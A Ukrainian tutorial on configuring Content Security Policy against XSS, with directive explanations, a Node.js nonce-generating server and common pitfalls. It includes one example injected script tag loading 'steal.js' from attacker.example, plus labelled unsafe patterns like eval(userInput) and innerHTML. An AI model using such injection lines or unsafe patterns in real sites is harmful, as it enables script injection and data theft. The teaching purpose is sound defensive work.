Пошук уроків, статей та іншого контенту
Налаштуєте Content Security Policy для обмеження джерел скриптів і зменшення наслідків XSS.
Content Security Policy (CSP) — це політика безпеки, яку браузер застосовує до сторінки. Вона визначає, з яких джерел дозволено завантажувати:
JavaScript;
CSS;
зображення;
шрифти;
фрейми;
медіа;
AJAX-запити та інші ресурси.
CSP не замінює екранування даних і безпечну роботу з DOM, але значно зменшує наслідки XSS-уразливостей. Наприклад, якщо зловмиснику вдасться вставити на сторінку такий код:
<script src="https://attacker.example/steal.js"></script>браузер може заблокувати його, якщо політика дозволяє скрипти лише з вашого домену.
CSP передається переважно через HTTP-заголовок:
Content-Security-Policy: default-src 'self'Значення 'self' означає поточне джерело: протокол, домен і порт сторінки.
Політика складається з директив, розділених крапкою з комою:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'Найпоширеніші директиви:
default-src — значення за замовчуванням для більшості типів ресурсів;
script-src — джерела JavaScript;
style-src — джерела CSS;
img-src — джерела зображень;
font-src — джерела шрифтів;
connect-src — джерела для fetch, XMLHttpRequest, WebSocket та EventSource;
media-src — джерела аудіо та відео;
frame-src — джерела документів, які сторінка може завантажувати у iframe;
frame-ancestors — хто може вбудовувати поточну сторінку у фрейм;
object-src — джерела для застарілих плагінів і <object>;
base-uri — дозволені значення для <base href>;
form-action — адреси, на які можна надсилати форми;
report-uri і report-to — способи надсилання звітів про порушення політики.
default-srcЦе базове правило:
Content-Security-Policy: default-src 'self'Якщо окрема директива не вказана, браузер використовує default-src.
Наприклад, ця політика дозволяє ресурси лише з поточного домену:
Content-Security-Policy: default-src 'self'Однак для критичних типів ресурсів краще задавати правила явно:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'Content-Security-Policy: script-src 'self'За такої політики дозволений зовнішній скрипт із поточного джерела:
<script src="/assets/app.js"></script>А скрипт з іншого домену буде заблокований:
<script src="https://cdn.example/app.js"></script>Зовнішній скрипт вважається дозволеним лише тоді, коли його джерело відповідає одному з джерел у script-src.
За політики:
Content-Security-Policy: script-src 'self'цей код буде заблокований:
<script>
console.log('Цей код не виконається');
</script>Також блокуються inline-обробники подій:
<button onclick="openMenu()">Відкрити</button>Замість цього подію потрібно зареєструвати у зовнішньому JavaScript:
<button id="menu-button">Відкрити</button>
<script src="/assets/app.js"></script>const menuButton = document.querySelector('#menu-button');
menuButton.addEventListener('click', () => {
console.log('Меню відкрито');
});Такий підхід не лише відповідає CSP, а й розділяє HTML та поведінку інтерфейсу.
Іноді inline-скрипт потрібен, наприклад для передачі сервером початкових даних. Для цього використовують одноразовий випадковий nonce.
Сервер генерує випадкове значення для кожної відповіді:
Content-Security-Policy: script-src 'self' 'nonce-random-value'Те саме значення потрібно додати до атрибута nonce:
<script nonce="random-value">
console.log('Цей скрипт дозволений');
</script>Браузер виконає inline-скрипт лише тоді, коли nonce у HTML збігається з nonce у CSP-заголовку.
Nonce має бути:
випадковим;
непередбачуваним;
новим для кожної HTTP-відповіді;
достатньо довгим;
недоступним для неконтрольованої вставки користувачем.
Не можна використовувати постійне значення на кшталт:
Content-Security-Policy: script-src 'nonce-12345'Якщо зловмисник дізнається таке значення і зможе вставити HTML, він зможе додати дозволений inline-скрипт.
Нижче наведено мінімальний HTTP-сервер без сторонніх бібліотек. Він генерує nonce для кожного запиту, додає його до CSP-заголовка та до дозволеного inline-скрипту.
Збережіть код у файл server.js і запустіть командою node server.js.
const http = require('node:http');
const crypto = require('node:crypto');
const port = 3000;
const server = http.createServer((request, response) => {
if (request.url === '/app.js') {
response.writeHead(200, {
'Content-Type': 'application/javascript; charset=utf-8',
'Content-Security-Policy': "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'"
});
response.end(`
const output = document.querySelector('#output');
document.querySelector('#button').addEventListener('click', () => {
output.textContent = 'Кнопку натиснуто без inline-обробника';
});
`);
return;
}
if (request.url !== '/') {
response.writeHead(404, {
'Content-Type': 'text/plain; charset=utf-8'
});
response.end('Not found');
return;
}
const nonce = crypto.randomBytes(32).toString('base64url');
const policy = [
"default-src 'self'",
"script-src 'self' 'nonce-" + nonce + "'",
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'none'"
].join('; ');
response.writeHead(200, {
'Content-Type': 'text/html; charset=utf-8',
'Content-Security-Policy': policy
});
response.end(`
<!doctype html>
<html lang="uk">
<head>
<meta charset="utf-8">
<title>CSP demo</title>
</head>
<body>
<button id="button">Натиснути</button>
<p id="output">Очікування дії</p>
<script src="/app.js"></script>
<script nonce="${nonce}">
// Inline-скрипт дозволений лише завдяки одноразовому nonce.
console.log('Початкові дані сторінки ініціалізовано');
</script>
</body>
</html>
`);
});
server.listen(port, () => {
console.log(`Сервер запущено: http://localhost:${port}`);
});У цьому прикладі:
/app.js дозволений завдяки 'self';
inline-скрипт дозволений лише з правильним nonce;
inline-скрипт без nonce буде заблокований;
<object> заборонено через object-src 'none';
сторінку заборонено вбудовувати в інші фрейми через frame-ancestors 'none';
<base> з неконтрольованим джерелом заборонено через base-uri 'none'.
Якщо вміст inline-скрипту є сталим, замість nonce можна використати криптографічний хеш.
Наприклад:
<script>
console.log('Статичний скрипт');
</script>Сервер обчислює SHA-256-хеш точного вмісту скрипту та додає його до політики:
Content-Security-Policy: script-src 'self' 'sha256-...'Хеш залежить від кожного символу, пробілу та переносу рядка. Якщо вміст зміниться, хеш перестане збігатися, і браузер заблокує скрипт.
Nonce зазвичай зручніший для динамічних сторінок. Hash добре підходить для незмінного inline-коду, наприклад для невеликого статичного bootstrap-скрипту.
Якщо застосунок використовує бібліотеку з CDN, домен потрібно явно додати до script-src:
Content-Security-Policy: script-src 'self' https://cdn.exampleТоді цей скрипт буде дозволений:
<script src="https://cdn.example/library.js"></script>Не варто без потреби додавати:
script-src *або:
script-src 'unsafe-inline' 'unsafe-eval' *Такі значення значно послаблюють політику.
Якщо зовнішній ресурс підтримує Subresource Integrity, можна додатково перевіряти його вміст:
<script
src="https://cdn.example/library.js"
integrity="sha256-..."
crossorigin="anonymous">
</script>CSP контролює дозволене джерело, а SRI контролює незмінність конкретного файлу.
'unsafe-inline'Content-Security-Policy: script-src 'self' 'unsafe-inline'Це дозволяє inline-скрипти та inline-обробники подій. У результаті CSP значно гірше захищає від XSS.
Не використовуйте 'unsafe-inline', якщо можна застосувати:
зовнішні файли;
nonce;
hash;
обробники подій через addEventListener.
'unsafe-eval'Content-Security-Policy: script-src 'self' 'unsafe-eval'Це дозволяє виконання коду, створеного з рядків, зокрема через:
eval();
new Function();
деякі подібні механізми.
Наприклад:
eval(userInput);небезпечний сам по собі й не повинен використовуватися для виконання даних користувача.
Якщо бібліотека працює лише з 'unsafe-eval', варто перевірити, чи є сучасніша версія або інший спосіб конфігурації.
object-src 'none'Забороняє завантаження плагінів та об'єктів через <object>, <embed> і <applet>:
object-src 'none'Це рекомендоване правило для більшості сучасних вебзастосунків.
base-uri 'none'Забороняє змінювати базову адресу документа через <base>:
base-uri 'none'Це зменшує ризик атак, пов'язаних із підміною базового URL для відносних адрес.
frame-ancestorsКерує тим, які сайти можуть вбудовувати вашу сторінку у iframe:
frame-ancestors 'none'Сторінку не зможе вбудувати жоден сайт.
Можна дозволити конкретне джерело:
frame-ancestors 'self' https://portal.exampleЦя директива є сучасним способом захисту від clickjacking.
form-actionОбмежує адреси, на які форми можуть надсилати дані:
form-action 'self'Це не дозволить непомітно змінити адресу action на зовнішній сайт.
connect-srcОбмежує мережеві запити, створені JavaScript:
connect-src 'self' https://api.exampleЗа такої політики fetch дозволений для поточного домену та https://api.example, але не для довільних адрес.
CSP є додатковим рівнем захисту. Він не усуває першопричину XSS.
Небезпечний код:
result.innerHTML = userComment;Якщо userComment містить HTML або JavaScript, він може змінити DOM. Навіть сувора CSP не повинна бути виправданням для безпечного з першого погляду коду.
Для тексту використовуйте:
result.textContent = userComment;Якщо HTML справді потрібен, його слід очищати перевіреним санітайзером і контролювати дозволені елементи та атрибути.
CSP особливо корисна, коли:
у застосунку залишилася невиявлена XSS-уразливість;
стороння бібліотека була скомпрометована;
помилково дозволено небезпечний HTML;
зловмисник намагається завантажити скрипт із чужого домену.
Перед увімкненням суворої політики зручно використати заголовок:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'У цьому режимі браузер:
повідомляє про порушення;
може надсилати звіти;
не блокує ресурси.
Це допомагає знайти легітимні скрипти, стилі або API-запити, які ще не додані до політики.
Після виправлення помилкових спрацювань політику потрібно перенести до звичайного заголовка:
Content-Security-Policy: default-src 'self'; script-src 'self'Важливо: Report-Only не є захистом від атак, оскільки ресурси в цьому режимі не блокуються.
CSP можна вказати в HTML:
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">Однак HTTP-заголовок кращий, тому що:
застосовується раніше під час завантаження документа;
не залежить від вмісту HTML;
складніше змінюється через HTML-ін'єкцію;
підтримує більше можливостей політики.
Для production-застосунків CSP варто налаштовувати на рівні веб-сервера, reverse proxy або серверного фреймворку.
Визначте всі джерела ресурсів:
власний домен;
API;
CDN;
системи аналітики;
сховища зображень;
WebSocket-сервери.
Почніть із базових обмежень:
default-src 'self'; object-src 'none'; base-uri 'none'Додайте явні правила для JavaScript:
script-src 'self'Приберіть inline-скрипти та inline-обробники подій.
Для необхідного серверного inline-коду використовуйте nonce або hash.
Додайте connect-src, img-src, style-src та інші директиви відповідно до потреб застосунку.
Спочатку протестуйте політику через Content-Security-Policy-Report-Only.
Переведіть її в режим блокування.
Перевірте консоль браузера та функціональність основних сценаріїв.
Поганий приклад:
Content-Security-Policy: default-src *Він дозволяє ресурси майже звідусіль і втрачає більшість переваг CSP.
Краще починати з 'self' і додавати лише необхідні джерела.
'unsafe-inline' без необхідностіЦе часто роблять, щоб швидко прибрати помилки в консолі. Однак таким способом можна дозволити виконання шкідливого inline-коду.
Краще перенести код у зовнішній файл або використати nonce.
object-src 'none'Навіть якщо застосунок не використовує <object>, директиву варто заборонити явно:
object-src 'none'Nonce не має бути однаковим для всіх відповідей. Постійне значення легко повторно використати.
Nonce повинен генеруватися сервером і додаватися лише до контрольованого шаблону. Не можна включати його в HTML, який формується з неперевірених даних.
CSP не виправляє:
небезпечний innerHTML;
відсутність екранування;
вразливі серверні шаблони;
помилки авторизації;
небезпечне зберігання секретів у браузері.
Це додатковий захисний шар, а не заміна безпечного коду.
Сувора CSP може заблокувати легітимний API-запит, шрифт або зображення. Політику потрібно перевіряти в усіх основних сценаріях:
авторизація;
завантаження файлів;
платежі;
робота з API;
WebSocket;
вбудовані віджети;
сторінки з динамічним JavaScript.
CSP обмежує джерела ресурсів, які браузер може завантажувати та виконувати.
Для JavaScript зазвичай починають із script-src 'self'.
Inline-скрипти краще прибрати або дозволяти через одноразовий nonce чи hash.
'unsafe-inline' і 'unsafe-eval' послаблюють захист і потребують вагомого обґрунтування.
object-src 'none', base-uri 'none' і frame-ancestors 'none' є корисними базовими обмеженнями.
Content-Security-Policy-Report-Only допомагає протестувати політику до її блокувального ввімкнення.
CSP зменшує наслідки XSS, але не замінює екранування, безпечну роботу з DOM та санітизацію HTML.